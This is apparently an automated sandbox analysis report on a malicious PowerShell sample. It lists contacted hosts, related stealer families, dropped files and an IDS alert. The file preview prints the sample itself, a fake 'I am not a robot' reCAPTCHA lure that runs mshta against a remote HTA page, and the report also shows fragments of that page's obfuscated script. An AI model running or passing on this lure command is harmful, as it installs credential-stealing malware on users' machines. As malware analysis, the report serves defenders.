https://broadcast.st.dl.eccdnx.com	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://view-reserve.com/recaptcha-verify.htmlZe	mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	powershell.exe, 00000000.00000002.58260917690.000002A3501FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58305312624.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC673000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58382068499.0000015EAAC2F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58448102834.0000025BAFE64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF448000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59532094818.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.protware.com/7	mshta.exe, 00000003.00000003.58276554563.00000250DCD93000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58275820747.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58307053628.00000250DCD96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283494904.00000250DCD95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.comodo=	RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlhttps://view-reserve.com/recaptcha-verify.html	mshta.exe, 00000003.00000003.58288335780.00000250DC785000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.58302816703.0000015E93DC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58363019340.0000015EA2928000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B98D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58417681738.0000025BA7B39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58415482636.000001999007A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll	RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.$D	powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngXzi	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1:27060	RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://view-reserve.com/recaptcha-verify.htmlbej6	mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlXzi	powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
92.255.57.120	view-reserve.com	Russian Federation	42253	TELSPRU	true
92.255.57.112	unknown	Russian Federation	42253	TELSPRU	true
23.47.27.74	steamcommunity.com	United States	16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591695
Start date and time:	2025-01-15 10:16:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	00.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@23/13@11/3
EGA Information:	Successful, ratio: 37.5%
HCA Information:	Successful, ratio: 78% Number of executed functions: 122 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Execution Graph export aborted for target RegSvcs.exe, PID 9072 because it is empty
Execution Graph export aborted for target mshta.exe, PID 6112 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6260 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8332 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8460 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:18:36	API Interceptor	2x Sleep call for process: mshta.exe modified
04:18:37	API Interceptor	65x Sleep call for process: powershell.exe modified
04:18:40	API Interceptor	3523557x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
92.255.57.112	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse
	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse
	92.255.57_1.112.ps1	Get hash	malicious	XWorm	Browse
	book_lumm2.dat.exe	Get hash	malicious	XWorm	Browse
23.47.27.74	file.exe	Get hash	malicious	Vidar	Browse
	https://steamfiller.ru/	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	yU3icg18lq.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	92.255.57_1.112.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://sreamconmymnltty.com/scerty/bliun/bolop	Get hash	malicious	Unknown	Browse	104.102.49.254
	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	lumma1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	random.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	yTRd6nkLWV.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	XhlpAnBmIk.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	k7h8uufe6Y.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	G7T8lHJWWM.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	92.255.57_1.112.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	mips.elf	Get hash	malicious	Mirai	Browse	23.54.60.125
	EXTERNAL Your company's credit limit has changed!.msg	Get hash	malicious	Unknown	Browse	184.28.89.29
	https://sreamconmymnltty.com/scerty/bliun/bolop	Get hash	malicious	Unknown	Browse	104.102.49.254
	https://www.giselabravo.com/lblogin/logins	Get hash	malicious	Unknown	Browse	104.102.53.18
	Eastern Contractors Corporation Contract and submittal document.eml	Get hash	malicious	Unknown	Browse	2.19.126.97
	download.exe	Get hash	malicious	Babuk, Mimikatz	Browse	173.222.162.32
	mlfk8sYaiy.dll	Get hash	malicious	Wannacry	Browse	172.230.50.2
	XML-702.msi	Get hash	malicious	AteraAgent	Browse	2.23.77.188
TELSPRU	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	92.255.57.112
	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	92.255.57.112
	WZ6RvDzQeq.exe	Get hash	malicious	Unknown	Browse	92.255.57.155
	WZ6RvDzQeq.exe	Get hash	malicious	Unknown	Browse	92.255.57.155
	2.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155
	2.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155
	92.255.57_1.112.ps1	Get hash	malicious	XWorm	Browse	92.255.57.112
	book_lumm2.dat.exe	Get hash	malicious	XWorm	Browse	92.255.57.112
	http://92.255.57.155/1/1.png	Get hash	malicious	Unknown	Browse	92.255.57.155
TELSPRU	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	92.255.57.112
	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	92.255.57.112
	WZ6RvDzQeq.exe	Get hash	malicious	Unknown	Browse	92.255.57.155
	WZ6RvDzQeq.exe	Get hash	malicious	Unknown	Browse	92.255.57.155
	2.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155
	2.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155
	92.255.57_1.112.ps1	Get hash	malicious	XWorm	Browse	92.255.57.112
	book_lumm2.dat.exe	Get hash	malicious	XWorm	Browse	92.255.57.112
	http://92.255.57.155/1/1.png	Get hash	malicious	Unknown	Browse	92.255.57.155

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	23.47.27.74
	92.255.57_1.112.ps1	Get hash	malicious	LummaC	Browse	23.47.27.74
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	23.47.27.74
	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	23.47.27.74
	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	23.47.27.74
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	23.47.27.74
	mWAik6b.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	23.47.27.74
37f463bf4616ecd445d4a1937da06e19	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	92.255.57.120
	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	92.255.57.120
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	92.255.57.120
	regsvr.exe	Get hash	malicious	Unknown	Browse	92.255.57.120
	0dsIoO7xjt.docx	Get hash	malicious	Unknown	Browse	92.255.57.120
	inward_payment_confirmation_reference_Z1766053541_notifications.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	92.255.57.120
	1KaTo6P18Z.doc	Get hash	malicious	Unknown	Browse	92.255.57.120
	5UnAIdF7m2.docx	Get hash	malicious	Unknown	Browse	92.255.57.120
	x6yDsHJ9tr.exe	Get hash	malicious	Remcos, GuLoader	Browse	92.255.57.120

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\recaptcha-verify[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	31911
Entropy (8bit):	6.7549335931824395
Encrypted:	false
SSDEEP:	768:Sbspoo/iiX2xPYqDKPbrDPeyacIk6hhVfb:S43/iiXpqDKCVnhhBb
MD5:	D91B5DE3C5C867DB8A2EC4569AE55D5C
SHA1:	B9CCDC1E0E8F124183A96AC6FD9025B698D08865
SHA-256:	F55BA11EEB1D1D2784304DC96361A81701318F0864497950A28CABD1F8B51108
SHA-512:	791FB337257F84C26A8D5424A5886183A477517889921C3309A8231063A2B67575B7D8A27DF2009107D8A149EAF5B67A427C41C5856EA8FE192740B70B05A58B
Malicious:	false
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.......................................................................................................................................................................<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><script>var _0x2455=["\x64\x6F\x63\x75\x6D\x65\x6E\x74\x4D\x6F\x64\x65","\x61\x6C\x6C"];l1l= document[_0x2455[0]]\|\| document[_0x2455[1]];var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';x3UIcOiX8Zj='e7WgO75waI76';</script><script>xwq474P=new Array();xwq474P[0]='%63%38A%32oS\111b%35\166\155%36';c7hMs5q=new Array();c7hMs5q[0]='.\r.\n.<.h.t.m.l. .x~..n.s.=."~..t.p.:././.w~....w.3...o.r.g./.1.9~../.x~.~..".>~zd~..e.a.d.>.<

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11tryw12.wuq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doegegr4.itl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_prhfcrqx.cor.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q02jfbwq.zvh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_scsn2c0s.idp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ung4hkox.2nv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vt23wiyi.obh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv0xvetf.m3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7483951001001263
Encrypted:	false
SSDEEP:	96:zYN/CBGKCkvhkvCCtJONKBW4HHHNKBW9HH4:zYtr2Ks+KsO
MD5:	799AB15158A0FBA9C5205C25F04C4D2A
SHA1:	A4FEF04D18EA894946F4134650361B86E7FEA4A6
SHA-256:	488D9445E5183F61C173CBE4564A9892D15332ED9EB862F42813F9CBE09F06FA
SHA-512:	D66EEAC308F99C8D4F19FE948BB9BC01FE86780E67EAC937D543FE78E4FE37D5536D0C602D2DE963151A68C09A548A60FBDADA34F6E5A397AE0D98B24B04583C
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S......s.g..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S......l.g..?..s.g......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S./ZGJ....B......................A!.A.p.p.D.a.t.a...B.V.1...../ZLJ..Roaming.@......"S./ZLJ....D.....................#Hw.R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S./ZGJ....E.......................(.M.i.c.r.o.s.o.f.t.....V.1...../ZE...Windows.@......"S./ZGJ....F.....................}.#.W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`/ZF.....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`/ZF.....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S./Z;.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S./ZRJ....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P5S1XK8Y7F5KR1YLF42F.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7483951001001263
Encrypted:	false
SSDEEP:	96:zYN/CBGKCkvhkvCCtJONKBW4HHHNKBW9HH4:zYtr2Ks+KsO
MD5:	799AB15158A0FBA9C5205C25F04C4D2A
SHA1:	A4FEF04D18EA894946F4134650361B86E7FEA4A6
SHA-256:	488D9445E5183F61C173CBE4564A9892D15332ED9EB862F42813F9CBE09F06FA
SHA-512:	D66EEAC308F99C8D4F19FE948BB9BC01FE86780E67EAC937D543FE78E4FE37D5536D0C602D2DE963151A68C09A548A60FBDADA34F6E5A397AE0D98B24B04583C
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S......s.g..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S......l.g..?..s.g......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S./ZGJ....B......................A!.A.p.p.D.a.t.a...B.V.1...../ZLJ..Roaming.@......"S./ZLJ....D.....................#Hw.R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S./ZGJ....E.......................(.M.i.c.r.o.s.o.f.t.....V.1...../ZE...Windows.@......"S./ZGJ....F.....................}.#.W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`/ZF.....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`/ZF.....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S./Z;.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S./ZRJ....i...........

Static File Info

General

File type:	Unicode text, UTF-8 text, with no line terminators
Entropy (8bit):	4.842251469033845
TrID:
File name:	00.ps1
File size:	113 bytes
MD5:	8067bbe2706cbd02f6885c17c186e6cd
SHA1:	2d8e307684b8b5f8a8a68d5892db6879eaa69b25
SHA256:	44be296b2cbb2b21f81aa170020314425962a7e935678fbab1f4845e953aeecb
SHA512:	e524709437749c9a6f6d35b256712f56fa90892dbc26bacaebb85985341cefeb55539661be2fa4a6a25683128962b7b0b19b6a740fe9631ee12d8cc7f09951c5
SSDEEP:	3:rN6eX7XsFMXWIWjDXbgG+RbqRF4I1yMQRWLBCn:Z6eXQaPq3gTIMPyBCn
TLSH:	50B022B20C0020222F23002C02002B88033C8288A0F00023222200300033CB0C323008
File Content Preview:	mshta https://view-reserve.com/recaptcha-verify.html # ... ''I am not a robot - reCAPTCHA Verification ID: 7848''

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T10:18:40.609977+0100	2059221	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curtainykeo .lat)	1	192.168.11.20	64236	1.1.1.1	53	UDP
